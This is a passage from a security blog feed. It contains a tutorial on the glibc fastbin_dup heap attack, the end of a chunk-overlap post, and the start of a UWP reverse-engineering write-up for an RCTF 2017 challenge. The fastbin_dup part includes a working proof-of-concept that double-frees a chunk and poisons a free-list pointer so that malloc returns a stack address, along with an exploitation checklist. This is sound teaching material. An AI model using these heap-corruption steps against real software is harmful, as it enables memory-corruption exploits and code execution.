8。由于我们将used为改成了0x181，于是这个地方glibc发现【上一个块被使用，但是当前块由于在unsorted bin中，于是分配当前块给我们，大小为之前声明的0x180】。此时我们就得到了一个0x180大小的chunk:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">p4 = <span class="built_in">malloc</span>(evil_region_size);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\np4 has been allocated at %p and ends at %p\n&quot;</span>, p4, p4+evil_region_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 starts at %p and ends at %p\n&quot;</span>, p3, p3+<span class="number">80</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 should overlap with p3, in this case p4 includes all p3.\n&quot;</span>);</span><br></pre></td></tr></table></figure><p><img src="/2017/06/06/heapoverflow%E4%B9%8Bchunk-overlap/overlap00.png" alt=""><br>在这里能看到，p4整个把p3给包括了。那么此时p4就能够随意修改p3的prev size等内容，从而完成攻击.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;又看不懂wp了。。。。再学习一种新的攻击方法好了&lt;/p&gt;
&lt;h2 id=&quot;more-heapoverflow之chunk-overlap&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>heapoverflow之fastbin_dup</title>
    <link href="https://showlinkroom.me/2017/06/01/heapoverflow%E4%B9%8Bfastbin-dup/"/>
    <id>https://showlinkroom.me/2017/06/01/heapoverflow%E4%B9%8Bfastbin-dup/</id>
    <published>2017-06-01T02:55:31.000Z</published>
    <updated>2020-07-16T13:31:30.387Z</updated>
    
    <content type="html"><![CDATA[<p>之前写过的heap_overflow的内容似乎有点太多了，这里分开整理;</p><h2 id="more-heap-overflow之fastbin-dup"><span id="more"></span><br>heap_overflow之fastbin_dup</h2><h2 id="触发代码">触发代码</h2><p>从网上找到的触发代码；</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This file extends on fastbin_dup.c by tricking malloc into\n&quot;</span></span><br><span class="line">       <span class="string">&quot;returning a pointer to a controlled location (in this case, the stack).\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> stack_var;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The address we want malloc() to return is %p.\n&quot;</span>, <span class="number">8</span>+(<span class="type">char</span> *)&amp;stack_var);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Allocating 3 buffers.\n&quot;</span>);</span><br><span class="line"><span class="type">int</span> *a = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"><span class="type">int</span> *b = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"><span class="type">int</span> *c = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1st malloc(8): %p\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2nd malloc(8): %p\n&quot;</span>, b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3rd malloc(8): %p\n&quot;</span>, c);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Freeing the first one...\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;If we free %p again, things will crash because %p is at the top of the free list.\n&quot;</span>, a, a);</span><br><span class="line"><span class="comment">// free(a);</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;So, instead, we&#x27;ll free %p.\n&quot;</span>, b);</span><br><span class="line"><span class="built_in">free</span>(b);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now, we can free %p again, since it&#x27;s not the head of the free list.\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now the free list has [ %p, %p, %p ]. &quot;</span></span><br><span class="line"><span class="string">&quot;We&#x27;ll now carry out our attack by modifying data at %p.\n&quot;</span>, a, b, a, a);</span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> *d = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1st malloc(8): %p\n&quot;</span>, d);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2nd malloc(8): %p\n&quot;</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now the free list has [ %p ].\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now, we have access to %p while it remains at the head of the free list.\n&quot;</span></span><br><span class="line"><span class="string">&quot;so now we are writing a fake free size (in this case, 0x20) to the stack,\n&quot;</span></span><br><span class="line"><span class="string">&quot;so that malloc will think there is a free chunk there and agree to\n&quot;</span></span><br><span class="line"><span class="string">&quot;return a pointer to it.\n&quot;</span>, a);</span><br><span class="line">stack_var = <span class="number">0x20</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n&quot;</span>, a);</span><br><span class="line">*d = (<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span>) (((<span class="type">char</span>*)&amp;stack_var) - <span class="keyword">sizeof</span>(d));</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3rd malloc(8): %p, putting the stack address on the free list\n&quot;</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;4th malloc(8): %p\n&quot;</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里讲解的是fastbin的相关攻击，可以看到之类的malloc后面的数值很小，就是为了得到fastbin。</p><h1 id="fastbin基本原理">fastbin基本原理</h1><p>fastbin是一种不会回到unsort bin的chunk，如何理解呢，看下列代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> *a = <span class="built_in">malloc</span>(<span class="number">20</span>);     <span class="comment">// 0xe4b010</span></span><br><span class="line"><span class="type">char</span> *b = <span class="built_in">malloc</span>(<span class="number">20</span>);     <span class="comment">// 0xe4b030</span></span><br><span class="line"><span class="type">char</span> *c = <span class="built_in">malloc</span>(<span class="number">20</span>);     <span class="comment">// 0xe4b050</span></span><br><span class="line"><span class="type">char</span> *d = <span class="built_in">malloc</span>(<span class="number">20</span>);     <span class="comment">// 0xe4b070</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"><span class="built_in">free</span>(b);</span><br><span class="line"><span class="built_in">free</span>(c);</span><br><span class="line"><span class="built_in">free</span>(d);</span><br><span class="line"></span><br><span class="line">a = <span class="built_in">malloc</span>(<span class="number">20</span>);           <span class="comment">// 0xe4b070</span></span><br><span class="line">b = <span class="built_in">malloc</span>(<span class="number">20</span>);           <span class="comment">// 0xe4b050</span></span><br><span class="line">c = <span class="built_in">malloc</span>(<span class="number">20</span>);           <span class="comment">// 0xe4b030</span></span><br><span class="line">d = <span class="built_in">malloc</span>(<span class="number">20</span>);           <span class="comment">// 0xe4b010</span></span><br></pre></td></tr></table></figure><p>会发现，后free的内容接在了fastbin的尾部:<br>head -&gt; d -&gt; c -&gt; b -&gt; a -&gt; tail<br>从而正在第二次分配的时候最先获得。并且从大小可以发现此时fastbin并没有发生回收。</p><h2 id="fastbin-dup">fastbin_dup</h2><p>本质原因还是double free，我们来看一下下列代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04010</span></span><br><span class="line">b = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04030</span></span><br><span class="line">c = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04050</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"><span class="built_in">free</span>(b);  <span class="comment">// To bypass &quot;double free or corruption (fasttop)&quot; check</span></span><br><span class="line"><span class="built_in">free</span>(a);  <span class="comment">// Double Free !!</span></span><br><span class="line"></span><br><span class="line">d = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04010</span></span><br><span class="line">e = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04030</span></span><br><span class="line">f = <span class="built_in">malloc</span>(<span class="number">10</span>);     <span class="comment">// 0xa04010   - Same as &#x27;d&#x27; !</span></span><br></pre></td></tr></table></figure><p>利用的关键在于fastbin的组织形式:<br>head -&gt; a -&gt; b -&gt; a -&gt; tail<br>看到这里可能很多人会问:我平时写程序的时候也常常malloc和free，但是似乎没有发生这个问题啊？其实是遇到过的，有时候发生【已有数据被冲刷】这样的事情我们其实真的会遇到，只是我们忘记了。官方其实有出防御方法，其实就是检查<strong>当前top of the bin是否就是我们释放的p</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">do</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">/* Check that the top of the bin is not the record we are going to add</span></span><br><span class="line"><span class="comment">           (i.e., double free).  */</span></span><br><span class="line">        <span class="keyword">if</span> (__builtin_expect (old == p, <span class="number">0</span>))</span><br><span class="line">          &#123;</span><br><span class="line">            errstr = <span class="string">&quot;double free or corruption (fasttop)&quot;</span>;</span><br><span class="line">            <span class="keyword">goto</span> errout;</span><br><span class="line">          &#125;</span><br><span class="line">        <span class="comment">/* Check that size of fastbin chunk at the top is the same as</span></span><br><span class="line"><span class="comment">           size of the chunk that we are adding.  We can dereference OLD</span></span><br><span class="line"><span class="comment">           only if we have the lock, otherwise it might have already been</span></span><br><span class="line"><span class="comment">           deallocated.  See use of OLD_IDX below for the actual check.  */</span></span><br><span class="line">        <span class="keyword">if</span> (have_lock &amp;&amp; old != <span class="literal">NULL</span>)</span><br><span class="line">          old_idx = fastbin_index(chunksize(old));</span><br><span class="line">      p-&gt;fd = old2 = old;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);</span><br></pre></td></tr></table></figure><p>仔细一看发现有点。。嗯，难道官方忘记了fastbin是FILO了嘛。。。</p><p>通过这个有失误的防御，我们的就能够通过分配不同的位置从而使两个指针指向同一块内存。但单纯这样并不能造成实质上的破坏，于是我们需要第二部分，修改栈上空间：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n&quot;</span>, a);</span><br><span class="line">*d = (<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span>) (((<span class="type">char</span>*)&amp;stack_var) - <span class="keyword">sizeof</span>(d));</span><br></pre></td></tr></table></figure><p>这我们通过修改了d中的内容，间接修改了d中的<strong>fd</strong>。由于此时fastbin发现fd中还存在数据，于是就认为fd中存在的是<strong>真实的栈中地址</strong>，所以在下一次malloc之后，就能够得到栈上的地址。</p><h2 id="防御策略">防御策略</h2><p>malloc其实有对这个情况进行过防御:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"># <span class="keyword">define</span> chunksize(p) (chunksize_nomask (p) &amp; ~(SIZE_BITS))<span class="comment">// 计算大小的时候，去掉了最底层的三bit</span></span></span><br><span class="line"><span class="comment">/* Like chunksize, but do not mask SIZE_BITS.  */</span></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> chunksize_nomask(p)         ((p)-&gt;mchunk_size)</span></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> fastbin_index(sz) \</span></span><br><span class="line"><span class="meta">  ((((unsigned int) (sz)) &gt;&gt; (SIZE_SZ == 8 ? 4 : 3)) - 2)</span></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> SIZE_SZ 当前用来存放size的字节数，64bit下为8，然后malloc分配的大小，在64位下分配的大小至少为0x20,所以fastbin_index(&lt;32)得到的数值就是0</span></span><br><span class="line">  <span class="keyword">if</span> ((<span class="type">unsigned</span> <span class="type">long</span>) (nb) &lt;= (<span class="type">unsigned</span> <span class="type">long</span>) (get_max_fast ()))</span><br><span class="line">    &#123;</span><br><span class="line">      idx = fastbin_index (nb);</span><br><span class="line">      mfastbinptr *fb = &amp;fastbin (av, idx);</span><br><span class="line">      mchunkptr pp = *fb;</span><br><span class="line">      REMOVE_FB (fb, victim, pp);</span><br><span class="line">      <span class="keyword">if</span> (victim != <span class="number">0</span>)</span><br><span class="line">        &#123;  </span><br><span class="line"><span class="comment">// 在这个位置上，对victim，也就是我们即将分配的堆块大小进行了检查，如果这个堆块大小size经过计算，和最初计算出来的idx = fastbin_index (nb);不一样的时候，就会报错，所以我们在进行地址寻找的时候，我们要保证</span></span><br><span class="line">          <span class="keyword">if</span> (__builtin_expect (fastbin_index (chunksize (victim)) != idx, <span class="number">0</span>))</span><br><span class="line">            malloc_printerr (<span class="string">&quot;malloc(): memory corruption (fast)&quot;</span>);</span><br><span class="line">          check_remalloced_chunk (av, victim, nb);</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> USE_TCACHE</span></span><br><span class="line">          <span class="comment">/* While we&#x27;re here, if we see other chunks of the same size,</span></span><br><span class="line"><span class="comment">             stash them in the tcache.  */</span></span><br><span class="line">          <span class="type">size_t</span> tc_idx = csize2tidx (nb);</span><br><span class="line">          <span class="keyword">if</span> (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)</span><br><span class="line">            &#123;</span><br><span class="line">              mchunkptr tc_victim;</span><br><span class="line"></span><br><span class="line">              <span class="comment">/* While bin not empty and tcache not full, copy chunks over.  */</span></span><br><span class="line">              <span class="keyword">while</span> (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count</span><br><span class="line">                     &amp;&amp; (pp = *fb) != <span class="literal">NULL</span>)</span><br><span class="line">                &#123;</span><br><span class="line">                  REMOVE_FB (fb, tc_victim, pp);</span><br><span class="line">                  <span class="keyword">if</span> (tc_victim != <span class="number">0</span>)</span><br><span class="line">                    &#123;</span><br><span class="line">                      tcache_put (tc_victim, tc_idx);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">          <span class="type">void</span> *p = chunk2mem (victim);</span><br><span class="line">          alloc_perturb (p, bytes);</span><br><span class="line">          <span class="keyword">return</span> p;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>可以看到这里，我们分配堆块的时候，会检查分配的堆块大小是否和【原先的堆块大小是否相等】。换句话说，我们分配的fake堆块的位置【在size的位置上必须要有和原先的堆块大小相同的数值】</p><h2 id="总结">总结</h2><p>利用前提:</p><ul><li>存在一个可以**【编辑的free之后的chunk】**</li><li>有一个可以被伪造的chunk的空间，比如在.bss段之类的地方。</li></ul><p>利用思路：</p><ul><li>首先在我们可控的地址上伪造堆块。</li><li>将free后的chunk的fd改成我们可控的地址上。</li></ul><p>注意事项：</p><ul><li>fd指向的位置为fake chunk的<strong>prev_size</strong>的位置</li><li>chunk伪造的时候，最关键的伪造内容为<strong>size要和当前的chunksize保持一致</strong></li></ul><p>这个利用方法的关键在于，<strong>修改一个被free的chunk中的fd</strong>，使其能够指向栈，那么我们就能够得到这个指针指向位置的控制权。<br><img src="/2017/06/01/heapoverflow%E4%B9%8Bfastbin-dup/fastbin_dup00.png" alt=""><br>这个方法的使用方法还有很多，比如直接利用这个方法获得某个函数指针之类的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前写过的heap_overflow的内容似乎有点太多了，这里分开整理;&lt;/p&gt;
&lt;h2 id=&quot;more-heap-overflow之fastbin-dup&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>UWP逆向初接触</title>
    <link href="https://showlinkroom.me/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/"/>
    <id>https://showlinkroom.me/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/</id>
    <published>2017-05-31T09:26:25.000Z</published>
    <updated>2020-07-16T13:31:30.419Z</updated>
    
    <content type="html"><![CDATA[<p>最近博客写的少了，发现整个人学习的动力也不够了哇，还是得边写边学才好</p><h2 id="more-uwp逆向初接触"><span id="more"></span><br>UWP逆向初接触</h2><p>其实我还是第一次听说UWP这个概念来着。。。首先先查询一下这个东西是个啥吧</p><h2 id="uwp-universal-windows-platform">UWP – Universal Windows Platform</h2><p>在Windows集成应用商店之前的版本，我们一般是下载程序进行安装，这些程序一般指的就是后缀为“.exe”的文件，英文称之为Program，大多安装在“C:\Program Files”下。UWP是Universal Windows Platform简称，即Windows通用应用平台，可以在Windows 10 Mobile/Surface/PC/Xbox/HoloLens等平台上运行，它并不是为某一个终端而设计，而是可以在所有Windows10设备上运行一种全平台应用，一般安装在“C:\Program Files\windowsapp”下</p><p>大概意思就是说，这个玩意儿是微软的应用商城里面的东西，我们下载的东西还有会各种管理机制，比exe好。</p><h2 id="如何安装">如何安装</h2><p>鉴于是小白，这里还是介绍的仔细一点好了:<br>首先要打开开发者模式<br><img src="/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/uwp00.png" alt=""><br><img src="/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/uwp01.png" alt=""><br>然后我们以管理员权限运行powershell，并且设置powershell的执行策略为RemoteSigned：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Set-ExecutionPolicy RemoteSigned</span><br></pre></td></tr></table></figure><p>最后找到UWP下的<br>Add-AppDevPackage.ps1<br>进行安装即可。<br>最后能够在Windows的菜单里面找到这个应用。</p><h2 id="如何逆向">如何逆向</h2><p>对于一个uwp来说，程序的主体部分放在.appxbundle中(注意这里是bundle，是打包过的)。可以直接用压缩工具打开。里面的appx可以利用工具Telerik JustDecompile进行查看:<br><img src="/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/uwp02.png" alt=""><br>其中的MainPage自然就是入口啦~</p><p>经大佬提醒后知道，其实C++也可以用来写uwp。而且如果用C#<a href="http://xn--g7qu08f7ohbtpjya.net">写逻辑而用.net</a> Native编译的话，那么当前的应用就只能用IDA来反编译了~</p><h2 id="实例分析">实例分析</h2><p>这里以RCTF 2017的一道题为例子进行简单分析:<br>首先我们可以看到MainPage的代码</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">namespace</span> <span class="title">RCTF</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">sealed</span> <span class="keyword">class</span> <span class="title">MainPage</span> : <span class="title">Page</span>, <span class="title">IComponentConnector</span>, <span class="title">IComponentConnector2</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="built_in">string</span> path = Path.Combine(Package.Current.InstalledLocation.Path, <span class="string">&quot;Assets\\flag.sqlite&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> <span class="built_in">string</span> pfn = Package.Current.Id.FamilyName;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> SQLiteConnection conn;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="keyword">private</span> Button button;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="keyword">private</span> TextBlock textBlock;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="keyword">private</span> TextBox textBox;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="keyword">private</span> <span class="built_in">bool</span> _contentLoaded;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="title">MainPage</span>()</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">this</span>.InitializeComponent();</span><br><span class="line">            <span class="keyword">this</span>.conn = <span class="keyword">new</span> SQLiteConnection(<span class="keyword">new</span> SQLitePlatformWinRT(), <span class="keyword">this</span>.path, <span class="literal">true</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">this</span>.conn.CreateTable&lt;flag_table&gt;(CreateFlags.None);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="built_in">string</span> <span class="title">asdasd</span>(<span class="params"><span class="built_in">string</span> input</span>)</span></span><br><span class="line">        &#123;</span><br><span class="line">            IBuffer binary = CryptographicBuffer.ConvertStringToBinary(input, BinaryStringEncoding.Utf8);</span><br><span class="line">            <span class="built_in">string</span> str = Package.Current.Id.FamilyName.Substring(<span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">            <span class="built_in">string</span> str1 = <span class="string">&quot;0000000000000000&quot;</span>;</span><br><span class="line">            IBuffer buffer = Encoding.UTF8.GetBytes(str1).AsBuffer();</span><br><span class="line">            <span class="built_in">byte</span>[] bytes = Encoding.UTF8.GetBytes(str);</span><br><span class="line">            SymmetricKeyAlgorithmProvider symmetricKeyAlgorithmProvider = SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithmNames.AesCbcPkcs7);</span><br><span class="line">            CryptographicKey cryptographicKey = symmetricKeyAlgorithmProvider.CreateSymmetricKey(bytes.AsBuffer());</span><br><span class="line">            IBuffer buffer1 = CryptographicEngine.Encrypt(cryptographicKey, binary, buffer);</span><br><span class="line">            <span class="keyword">return</span> CryptographicBuffer.EncodeToBase64String(buffer1);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">button_Click</span>(<span class="params"><span class="built_in">object</span> sender, 